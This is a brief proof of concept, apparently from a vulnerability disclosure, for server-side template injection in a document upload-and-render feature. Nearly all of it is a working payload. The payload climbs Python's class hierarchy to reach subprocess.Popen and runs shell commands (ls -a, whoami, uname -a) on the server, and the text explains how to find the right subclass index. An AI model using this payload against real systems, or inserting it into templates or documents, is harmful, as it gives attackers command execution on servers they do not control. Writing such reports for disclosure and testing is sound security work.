POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.class.mro[1].subclasses() }} and then get the index of subprocess.Popen and replace 202 with that.
